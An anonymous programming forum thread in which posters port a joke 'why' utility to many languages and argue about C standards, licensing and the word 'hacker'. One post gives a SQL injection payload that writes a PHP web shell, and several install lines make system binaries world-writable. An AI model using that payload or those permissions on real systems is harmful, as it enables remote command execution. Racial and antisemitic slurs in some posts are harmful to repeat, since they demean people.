Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-8081-

Utility I wrote for GNU+Linux

Name: Anonymous 2012-02-13 3:19

It's a small utility like cat or sed that can be used on Linux systems. It's called why. Licensed under the GPLv3 (or later).

Here is the code (save it in `why.c'):
#include <stdio.h>

void main()
{
printf("Fuck you, that's why.\n");

}


Install with:
gcc -o why why.c ;sudo cp ./why /bin/why

Name: Anonymous 2012-02-13 3:33

i think the newline is superfluous and so i'll probably wait for why 2.0  before installing a pirated copy of it.  yeah i know its GPL, but i just gotta be me…

Name: Anonymous 2012-02-13 3:38

>>2
The newline is actually a workaround for the infamous (and unpatched) bash put-the-prompt-on-the-same-line-as-the-last-outputted-line-of-the-last-command bug.

What do you mean by `pirate'? Are you going to buy a copy from seafaring murderous thugs? Why would you do that? That attitude hurts all of the Free Software Movement.

Name: Anonymous 2012-02-13 7:10

Name: Anonymous 2012-02-13 7:53

>>4
Referring to fedora and freedesktop! Oh my! And why not Lennart while you're at it?

Name: Anonymous 2012-02-13 8:00

>>5
Lennart says nothing about /bin

Name: Anonymous 2012-02-13 8:59

considering why is not managed by your package manager, the appropriate location for the why binary is /usr/local/bin

Name: Anonymous 2012-02-13 9:25

I'll make a PACMAN PKG for this.

Name: Anonymous 2012-02-13 10:46

>>4
UMENA /usr/bin/env why?

Name: Anonymous 2012-02-13 10:55

>Fuck you, that's why.
Back to reddit.

Name: Anonymous 2012-02-13 11:00

Where are  the ``undefined behavior'' guys ?

Name: Anonymous 2012-02-13 11:09

>>11
Exit code? Nice dubs.

Name: Anonymous 2012-02-13 11:10

>>12
Thanks bro

Name: Anonymous 2012-02-13 11:27

>>11
There's no undefined behavior here, since the language obviously isn't C.

Name: Anonymous 2012-02-13 13:06

>>11
Its not C Standard code

Name: Anonymous 2012-02-13 13:48

Learn Visual Basic

Name: Anonymous 2012-02-13 14:56

>>4
Jews did /bin

Name: Anonymous 2012-02-13 22:52

Doesn't compile under CLISP. That means it's shit.

Name: REMINPLEMENTED 2012-02-14 0:15

save to why:
#/bin/bash
echo "fuck you thats why"
install with
cp why /usr/bin/why;sudo chmod +rwxrwxrwx /usr/bin/why

licensed under MIT licecnse

Name: Anonymous 2012-02-14 10:10

>>3
I always thought that was how it was supposed to work.  Does zsh have this bug?

Name: Anonymous 2012-02-14 17:18

Licensed under the GPLv3 (or later).
I can't wait for this version to have seventeen flags that do nothing related to the program. Meanwhile the MIT/BSD version remains pure, which leads to people bitching that it ``isn't as good''.

Name: Anonymous 2012-02-14 22:02

Please use int main(void); for the definition of main

Name: Anonymous 2012-02-14 22:38

>>22
why

Name: Anonymous 2012-02-14 22:52

>>23
That's the standard way of writing a main that takes no arguments.

Name: Anonymous 2012-02-14 23:24

>>23
"Fuck you, that's why.\n"

Name: Anonymous 2012-02-15 8:12

Any Scheme port yet?

Name: Anonymous 2012-02-15 15:34

>>26
I can make one for Racket.

Name: Anonymous 2012-02-16 18:21

I hacked it a little to include colors! Still under GPLv3, of course. Hope you like it.

Save to why.c:

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <math.h>
#include <string.h>

int AttExch[] = {0,1,2,3,4,7,8};
int ColExch[] = {0,1,2,3,4,5,6,7};
typedef enum _Attr
{
Reset = 0,
Bright = 1,
Dim = 2,
Underline = 3,
Blink = 4,
Reverse = 7,
Hidden = 8,
}Attr;

typedef enum _Colors
{
Black = 0,
Red     = 1,
Green = 2,
Yellow = 3,
Blue = 4,
Magenta = 5,
Cyan = 6,
White = 7,
}Colors;


typedef struct _ColorCodes{
        Attr Attribute;
        Colors Foreground;
        Colors Background;
} ColorCodes;

/* Prototypes */
void textcolor(ColorCodes codes);
void RandomColors();
int * FillRandArray(int);
Attr RevAttr(int);
Colors RevColor(int);


int main()
{
        const char message[] = "Fuck you, that's why.";
        ColorCodes cc;
        int length = strlen(message);
        int * arr = (int *)FillRandArray(length);

        int i = 0, average = 0, secaver = 0;

        cc.Attribute = Bright;
        cc.Foreground = Red;
        cc.Background = Blue;
        textcolor(cc);

        i = 0;
        while(i < length)
        {
                if( i == length)
                {
                        free(arr);
                        // Uncomment the following lines and
                        // comment the break to loop forever.
                        //arr = (int *)FillRandArray(length);
                        //i=0;
                        break;
                }
                cc.Attribute = RevAttr(AttExch[arr[i] % 6]);
                cc.Foreground = RevColor(ColExch[0]);  // arr[i] % 7]); Only black
                cc.Background = RevColor(ColExch[arr[i] % 6] + 1); // no black
                textcolor(cc);
                //printf(" - [%d - %d - %d]\n",cc.Attribute,cc.Background,cc.Foreground);
                printf("%c", message[i]);
                i++;
        }

        cc.Attribute = Reset;
        cc.Foreground = White;
        cc.Background = Black;
        textcolor(cc);

        printf("\n");
        return 0;
}

void textcolor(ColorCodes codes)
{
        char* command = (char*)malloc(50 * sizeof(char));
        /* Command is the control command to the terminal */

        sprintf(command, "%c[%d;%d;%dm", 0x1B, codes.Attribute, codes.Foreground + 30, codes.Background + 40);

        printf("%s", command);
        free(command);
}

void RandomColors()
{
        int derp = 44;
        srand ((unsigned int) time(NULL) * derp );

}

int * FillRandArray(int len)
{
        int * Arr = (int*) malloc(len * sizeof(int));
        int * key = (int*) malloc(len * sizeof(int));
        int i;
        int temp;
        double temp2;

        srand ((unsigned int) time(NULL) );

        for(i = 0; i <= len - 2; i++)
        {
                 temp2 = pow((double)(rand() % 256),(rand() % 3) + 1);
                 temp = (int) ((double)((rand() >> 16) ^ ~(int)temp2));
                 Arr[i] = abs(temp) % 255;

                 /*temp2 = pow((double)(rand() % 256),(rand() % 3) + 1);
                 temp = (int) ((double)((rand() >> 16) ^ ~(int)temp2));
                 key[i] = abs(temp) % 255;

                Arr[i] = ( ( (Arr[i] * rand() ) % 255) >> 13) ^ ( ( (key[i]* rand() ) % 255) << 13 );
                Arr[i] = abs(Arr[i]) % 1023 * 1023;
                Arr[i] = ( ( (Arr[i] * rand() ) % 255) << 13) ^ ( ( (key[i]* rand() ) % 255) >> 13 );
                Arr[i] = abs(Arr[i]) % 767 * 767;
                Arr[i] = ( ( (Arr[i] * rand() ) % 255) >> 13) ^ ( ( (key[i]* rand() ) % 255) << 13 );
                Arr[i] = abs(Arr[i]) % 511 * 511;
                Arr[i] = ( ( (Arr[i] * rand() ) % 255) << 13) ^ ( ( (key[i]* rand() ) % 255) >> 13 );
                Arr[i] = abs(Arr[i]) % 255;
                */
        }

        return Arr;
}

Colors RevColor(int a)
{
        switch(a)
        {
        case 0:
                return Black;
        case 1:
                return Red;
        case 2:
                return Green;
        case 3:
                return Yellow;
        case 4:
                return Blue;
        case 5:
                return Magenta;
        case 6:
                return Cyan;
        case 7:
                return White;
        default:
                return Blue;

        }
}

Attr RevAttr(int a)
{
        switch(a)
        {
        case 0:
                return Reset;
        case 1:
                return Bright;
        case 2:
                return Dim;
        case 3:
                return Underline;
        case 4:
                return Blink;
        case 7:
                return Reverse;
        case 8:
                return Hidden;
        default:
                return Bright;
        }
}


Install with the following:
gcc -lm -o why why.c; sudo cp ./why /bin/why && echo "Done Installing!"

Name: Anonymous 2012-02-16 18:28

>>26
(display "Fuck you, that's why.") (newline)

Name: Anonymous 2012-02-16 18:33

>>28
typical C faggot
                 /*temp2 = pow((double)(rand() % 256),(rand() % 3) + 1);
                 temp = (int) ((double)((rand() >> 16) ^ ~(int)temp2));
                 key[i] = abs(temp) % 255;

                Arr[i] = ( ( (Arr[i] * rand() ) % 255) >> 13) ^ ( ( (key[i]* rand() ) % 255) << 13 );
                Arr[i] = abs(Arr[i]) % 1023 * 1023;
                Arr[i] = ( ( (Arr[i] * rand() ) % 255) << 13) ^ ( ( (key[i]* rand() ) % 255) >> 13 );
                Arr[i] = abs(Arr[i]) % 767 * 767;
                Arr[i] = ( ( (Arr[i] * rand() ) % 255) >> 13) ^ ( ( (key[i]* rand() ) % 255) << 13 );
                Arr[i] = abs(Arr[i]) % 511 * 511;
                Arr[i] = ( ( (Arr[i] * rand() ) % 255) << 13) ^ ( ( (key[i]* rand() ) % 255) >> 13 );
                Arr[i] = abs(Arr[i]) % 255;
                */

Name: Anonymous 2012-02-16 19:20

#include <stdlib.h>
int main(void){return system("echo Fuck you, that's why.");}

Name: Anonymous 2012-02-16 21:46

>>30
You are right, that looks terrible. I actually wrote this to act as a shell for people that tried to SSH into the 4chan FTP server that I was running, where it would simply display random shit in random colors. I wanted to see just how convoluted I could get it. Obviously, that block didn't work, so I moved on to the next trivial bit and tried to fuck around with it. I didn't intend, when writing, for it to ever be used in such a critical tool as why. I hope that some real hacker* can someday fix it up nicer.

______________________________________________
*http://catb.org/jargon/html/H/hacker.html

Name: Anonymous 2012-02-16 22:31

dubs I wrote for this thread

check 'em

Name: Anonymous 2012-02-16 23:22

>>28
Typical GPL shit.

Name: Anonymous 2012-02-16 23:56

Warmly awaiting kWhy for my graphical KDE provided pleasure.

Name: Anonymous 2012-02-17 0:06

I made a gtk version, are you proud?


#!/bin/bash

 zenity --info --text="fuck you, thats why"


install with
cp why /usr/bin/why;sudo chmod +rwxrwxrwx /usr/bin/why

Name: Anonymous 2012-02-17 0:10

is there a windows port yet?

Name: Anonymous 2012-02-17 0:42

>>37
Save into Why.vbs


MsgBox("Fuck you, that's why.")

Name: Anonymous 2012-02-17 0:45

>>38
can you make a color version?

Name: Anonymous 2012-02-17 0:45

>>28
Without a name (or pseudonym) attached to that work, there is no effective reason why there should be a copyright attached to it. If you publish your own work and you're anonymous, that work is nothing less than public domain work.

Name: Anonymous 2012-02-17 0:49

>>40
GPL code assigns the copyright to the FSF (meaning RMS).

Name: Anonymous 2012-02-17 11:26

>>40 The legal concept of ``public domain'' does not apply worldwide, you amerifag.

Name: Anonymous 2012-06-03 16:28

Is this project still active?

Name: Anonymous 2012-06-03 16:38

>>40
Except without any proof that you're the author, someone else can potentially claim authorship over the code and threaten the user community.

Name: Anonymous 2012-06-03 16:59

>>44
Without DNA evidence, that's not going to stand up in court.

Name: Anonymous 2012-06-03 17:24

tempfile=`mktemp -t why`
if [ $? -ne 0 ]
then
  echo "Fix your shit!" >&2
  exit 1
fi
echo "#/usr/bin/sed 1d\necho Fuck you, that's why." > $tempfile
sudo install $tempfile /usr/local/bin/why
rm $tempfile

Name: Anonymous 2012-06-03 17:40

A fatal error occured!
You didn't write a post?!

Name: Anonymous 2012-06-03 18:32

im not good with the CLI can I have an rpm?

Name: Anonymous 2012-06-03 20:56

>>46
if [ $? -ne 0 ]
What does this do?

Name: Anonymous 2012-06-03 21:31

>>28
All identifiers that begin with an underscore followed by an upper case letter are always reserved for any use by the implementation. You are violating the standard with the names on your enums.

See section 7.1.3 Reserved identifiers in ISO/IEC 9899:TC2 for details.

Name: Anonymous 2012-06-03 22:06

>>49
$? is a magic variable containing the return value of the last finished process (in this case mktemp). Read your man pages.

Name: Anonymous 2012-06-03 22:13

>>50
M$ does it.

Name: Anonymous 2012-06-03 22:54

>>52
Most people who drive on highways drive over the speed limit. That does not change the speed limit. Similarly, Microsoft violating the C standard does not invalidate the C standard.

Name: Anonymous 2012-06-03 23:03

>>53
yeah, but you might get rear ended when driving the speed limit in a place where everyone goes 30 mph above it. Of course, the highway patrol would be all over that. But there isn't a C standard police force, going door to door in business parks, handing out tickets to developers writing code that doesn't follow the standard.

Name: Anonymous 2012-06-03 23:17

>>54
Consider yourself cited for obstruction of standards compliance, developer.

Name: Anonymous 2012-06-03 23:28

>>38
Too primitive.

#include <Application.h>
#include <Alert.h>
#include <stdio.h>

class WhyHaiku : public BApplication
{
    public:
    WhyHaiku() : BApplication("application/why-haiku")
    {
    }

    void ReadyToRun()
    {
        BAlert* why_alert = new BAlert("Why?", "Fuck you, that's why.",
                "Okay :(", NULL, NULL, B_WIDTH_AS_USUAL, B_OFFSET_SPACING);
        why_alert->Go();
        this->PostMessage(B_QUIT_REQUESTED);
    }
};

int main(void)
{
    WhyHaiku app;

    app.Run();

    return 0;
}

Name: Anonymous 2012-06-03 23:49

>>56
Is this some M$ C derivative? I seriously can't tell what this is supposed to be.

Name: fag 2012-06-04 1:02

needs more lcurses

Name: Anonymous 2012-06-04 1:29

int puts(const char *s);

int main(void)
{
    return puts("Fuck you, that's why.") < 0;
}

Name: Anonymous 2012-06-04 5:36

Brainfuck:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<<<<.>>>>>>++++++++++++++++++++++++++++++++++++++++++++.<<<.>>>>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<.>>>+++++++++++++++++++++++++++++++++++++++.>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<<<<<<<.>>>>>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.<<<<.>>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>++++++++++++++++++++++++++++++++++++++++++++++.

Name: Anonymous 2012-06-04 5:40

nigger

Name: Anonymous 2012-06-04 11:16

>>57
It's fairly obvious that the language is C++. Judging from all the 'B's and the Haiku names, I'm assuming it's written for Haiku

Name: Anonymous 2012-06-04 16:00

>>62
I don't know anything about Haiku, it just reminds me of CLR C++ to an eerie degree.

Name: Anonymous 2012-06-04 16:05

>>63
How is that code related to CLR?

Name: Anonymous 2012-06-04 16:12

I need a webapp of this.

Name: Anonymous 2012-06-04 16:23

>>65
<html><head><title>Why.php</title><body><?php echo "Fuck you, that's why."; ?></body></html>
Install with cp why.php /var/www/why.php; chmod +rwxrwxrwx /var/www/why.php

Name: Anonymous 2012-06-04 17:16

>>66

vulnerable:

?id=bob’; ATTACH DATABASE ‘/var/www/why.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;--

Name: Anonymous 2012-06-04 17:41

Behold! The long-awaited bootsector version:
[bits    16]
[org    0x7c00]
main:    mov    si,    why
    .write:    lodsb
        cmp    al,    0
        je    halt
        mov    ah,    0x0e
        int    0x10
        jmp    .write
halt:    cli
    hlt
    jmp    halt
why:            db    "Fuck you, that's why", 13, 10, 0
times    510 - ($ - $$)    db    0
            dw    0xaa55

Name: Anonymous 2012-06-04 17:41

>>68
>jews reindented my code

Name: Anonymous 2012-06-04 18:27

Linux x86 assembly version (for nasm):

section .data
txt: db "Fuck you, that's why.", 0ah
len: equ $-txt
section .text
global _start
_start:
mov eax, 4
mov ebx, 1
mov ecx, txt
mov edx, len
int 80h
mov eax, 1
mov ebx, 0
int 80h

Building:
nasm -f elf why.asm
ld why.o -o why --dynamic-linker=/lib/ld-linux.so.2 -melf_i386

Name: Anonymous 2012-06-04 18:47

>>68,70
Now make a MIPS version and stop slaving for the kikes.

Name: Anonymous 2012-06-04 19:30

>>71
Yeah, slaving for Sandeep is so much better.

Name: Anonymous 2012-06-04 23:56

>>71
>implying x86 isn't better than your goyish mips bullshit

Name: Anonymous 2012-06-05 10:59

>>68
Forgot installation instructions.
1. Save to why86.asm
2. nasm -f bin -o why86.bin why86.asm
3. dd if=why86.bin of=${device} bs=512 count=1
where ${device} is the boot device.

Name: Anonymous 2012-06-05 11:02

>>74
that overwrites the partition table too, fucktard

Name: Anonymous 2012-06-05 11:13

>>19,36,66
chmod +rwxrwxrwx
not chmod a+rwx
neither chmod 777

also installing on /usr/bin with universal write permission

i love this board

Name: Anonymous 2012-06-05 11:14

>>75
OVERWRITE MY DUBS

Name: Anonymous 2012-06-05 16:30

You guys are arguing over what is basically a "Hello World" program written in C. It just goes to show how clumsy C is, when you can argue so much about basically nothing.

Name: Anonymous 2012-06-05 17:37

>>75
>he has a partition table

Name: Anonymous 2012-06-05 19:56

>>76
Fuck off with your security bullshit. Know how we kept our shit secure back in the day? We popped motherfuckers like you in the head with a bat for asking too many god damn questions about security.

If the software world were more violent there wouldn't be any of this hacker nonsense.

Name: Anonymous 2012-06-05 19:58

>>80

you
are awesome

Fuck
off with your security bullshit. Know how we kept our shit secure back in the day? We popped motherfuckers like you in the head with a bat for asking too many god damn questions about security.

If
the software world were more violent there wouldn't be any of this hacker nonsense.

Name: Anonymous 2012-06-05 20:03

friend is right quit it with your bullshit
,
i
always chmod +x 777 * /* my shit

and
if someone goofs with my shit i g 0 0 f with his life

Name: Anonymous 2012-06-05 20:23

>>80
Playfully doing something difficult, whether useful or not, that is hacking. The hacking community developed at MIT and some other universities in the 1960s and 1970s. Hacking included a wide range of activities, from writing software, to practical jokes, to exploring the roofs and tunnels of the MIT campus. Other activities, performed far from MIT and far from computers, also fit hackers' idea of what hacking means: for instance, I think the controversial 1950s "musical piece" by John Cage, 4'33", which has no notes, is more of a hack than a musical composition. The palindromic three-part piece written by Guillaume de Machaut in the 1300s, "Ma Fin Est Mon Commencement", was also a good hack, even better because it also sounds good. Puck appreciated hack value.

It is hard to write a simple definition of something as varied as hacking, but I think what these activities have in common is playfulness, cleverness, and exploration. Thus, hacking means exploring the limits of what is possible, in a spirit of playful cleverness. Activities that display playful cleverness have "hack value".

Hackers typically had little respect for the silly rules that administrators like to impose, so they looked for ways around. For instance, when computers at MIT started to have "security" (that is, restrictions on what users could do), some hackers found clever ways to bypass the security, partly so they could use the computers freely, and partly just for the sake of cleverness (hacking does not need to be useful). However, only some hackers did this—many were occupied with other kinds of cleverness, such as placing some amusing object on top of MIT's great dome (**), finding a way to do a certain computation with only 5 instructions when the shortest known program required 6, writing a program to print numbers in roman numerals, or writing a program to understand questions in English.

Meanwhile, another group of hackers at MIT found a different solution to the problem of computer security: they designed the Incompatible Timesharing System without security "features". In the hacker's paradise, the glory days of the Artificial Intelligence Lab, there was no security breaking, because there was no security to break. It was there, in that environment, that I learned to be a hacker, though I had shown the inclination previously. We had plenty of other domains in which to be playfully clever, without building artificial security obstacles which then had to be overcome.

Yet when I say I am a hacker, people often think I am making a naughty admission, presenting myself specifically as a security breaker. How did this confusion develop?

Around 1980, when the news media took notice of hackers, they fixated on one narrow aspect of real hacking: the security breaking which some hackers occasionally did. They ignored all the rest of hacking, and took the term to mean breaking security, no more and no less. The media have since spread that definition, disregarding our attempts to correct them. As a result, most people have a mistaken idea of what we hackers actually do and what we think.

You can help correct the misunderstanding simply by making a distinction between security breaking and hacking—by using the term "cracking" for security breaking. The people who do it are "crackers" (***). Some of them may also be hackers, just as some of them may be chess players or golfers; most of them are not.

Name: Anonymous 2012-06-06 2:20

>>83
tl;dr

Name: Anonymous 2012-06-06 2:26

>>83
>>>/fsf/

Name: Anonymous 2012-06-06 8:27

>>84
Playfully doing something difficult, whether useful or not, that is hacking. Around 1980, when the news media took notice of hackers at MIT and fixated on the security breaking (which some hackers did occasionally), they ignored all the rest of hacking, and took the term to mean breaking security.

>>85
I'd love to but people are confused on the Internet. Hackers do not break security, security breakers break security.

Name: Anonymous 2012-06-06 8:36

>security breakers break security.
security was broken by design. security breakers just exploit what was unfixed and buggy.

Name: Anonymous 2012-06-06 8:58

>>87
If that's the case, you can say that all programs are designed to be buggy, slow and bloated. That's besides the point as hackers are not security breakers.

Name: Anonymous 2012-06-06 11:37

>>88
Sure, but your mom is horizontally challenged

Name: Anonymous 2012-06-06 14:12

>>88
nice
dubs

Name: Anonymous 2012-06-06 15:31

>>92
Fuck you, sir.

Name: Anonymous 2012-06-06 17:08

Claiming that `hacker' means `cleaver hobbyist' is akin to saying that `nigger' is a compliment.

Name: Anonymous 2012-06-06 17:24

>>92
I was right about my pre-emptive "fuck you" after all.

Also
>cleaver hobbyist

Name: Anonymous 2012-06-06 19:14

Better version of >>28

#define compile
#ifdef compile
#include <stdlib.h>
#endif
#ifdef compile
#define aana return
#endif
#ifdef compile
#include <stdio.h>
#define k2345jaaa case
#ifdef compile
#include <time.h>
#define y345yegd default
#include <math.h>
#define hinmo356h switch
#endif
#include <string.h>
#define k1k2k3k44 typedef
#define prkasd2y2f printf
#endif
k1k2k3k44 enum _kdt84235{g23g245=0,gtr5j7=1,n93985=2,ng98u3=3,nog34805=4,noiu2095=7,f2525gg=8,}
kdt84235;k1k2k3k44 enum _j24092nbzx{g23g245627=0,k23ty2=1,jio549n=2,u4g2gn=3,u2g4gn=4,fds342g5=5,
t209m52=6,we5on=7,}j24092nbzx;k1k2k3k44 int kasd2y2;kasd2y2 kt239jngfqo[] = {0,1,2,3,4,7,8};kasd2y2
j3j356j[] = {0,1,2,3,4,5,6,7};k1k2k3k44 struct _nnaskdw{kdt84235 kdt84235;j24092nbzx io42ny451;
j24092nbzx h245622g;}nnaskdw;void kh34665(nnaskdw codes);void lh35k9h0wdjfg();kasd2y2 * h2n2oi54n2
(kasd2y2);kdt84235 h56hsdhg(kasd2y2);j24092nbzx h4j67kl675(kasd2y2);int _tmain(int argc, _TCHAR* argv[])
{const char l23kyl24n[] "Fuck you, that's why.";nnaskdw cc;kasd2y2 m3k54n235 = strlen(l23kyl24n);kasd2y2 * arr = (kasd2y2 *)
h2n2oi54n2(m3k54n235);kasd2y2i=0,average=0,secaver=0;cc.kdt84235=gtr5j7;cc.io42ny451=k23ty2;cc.h245622g=
u2g4gn;kh34665(cc);i=0;while(i<m3k54n235){if(i==m3k54n235){free(arr);break;}cc.kdt84235=h56hsdhg
(kt239jngfqo[arr[i]%6]);cc.io42ny451=h4j67kl675(j3j356j[0]);cc.h245622g=h4j67kl675(j3j356j[arr[i]%6]+1);
kh34665(cc);prkasd2y2f("%c",l23kyl24n[i]);i++;}cc.kdt84235=g23g245;cc.io42ny451=we5on;cc.h245622g=g23g245627;
kh34665(cc);prkasd2y2f("\n");aana0;}void kh34665(nnaskdw codes){char* command = (char*)malloc(50*
sizeof(char));sprkasd2y2f(command,"%c[%d;%d;%dm",0x1B,codes.kdt84235,codes.io42ny451+30,codes.h245622g+40);
prkasd2y2f("%s",command);free(command);}void lh35k9h0wdjfg(){kasd2y2 derp = 44;srand ((unsigned kasd2y2)
time(NULL) * derp );}kasd2y2 * h2n2oi54n2(kasd2y2 len){kasd2y2 * Arr = (kasd2y2*)malloc(len*sizeof(kasd2y2));
kasd2y2 * key = (kasd2y2*)malloc(len*sizeof(kasd2y2));kasd2y2 i;kasd2y2 temp;double temp2;srand((unsignedkasd2y2)
time(NULL));for(i=0;i<=len-2;i++){temp2=pow((double)(rand()%256),(rand()%3)+1);temp=(kasd2y2)((double)
((rand()>>16)^~(kasd2y2)temp2));Arr[i]=abs(temp)%255;aana Arr;}j24092nbzx h4j67kl675(kasd2y2 a){hinmo356h(a){
k2345jaaa 0:aana g23g245627;k2345jaaa 1:aana k23ty2;k2345jaaa 2:aana jio549n;k2345jaaa 3:aana u4g2gn;k2345jaaa 4:
aana u2g4gn;k2345jaaa 5:aana fds342g5;k2345jaaa 6:aana t209m52;k2345jaaa 7:aana we5on;y345yegd:aana u2g4gn;}}
kdt84235 h56hsdhg(kasd2y2 a){hinmo356h(a){k2345jaaa 0:aana g23g245;k2345jaaa 1:aana gtr5j7;k2345jaaa 2:aana n93985;
k2345jaaa 3:aana ng98u3;k2345jaaa 4:aana nog34805;k2345jaaa 7:aana noiu2095
;k2345jaaa 8:aana f2525gg;y345yegd:aana gtr5j7;}}

Name: Anonymous 2012-06-06 22:49

>>94
Broken in TCC!

Name: Anonymous 2012-06-06 22:51

>>95
Isn't everything?

Don't change these.
Name: Email:
Entire Thread Thread List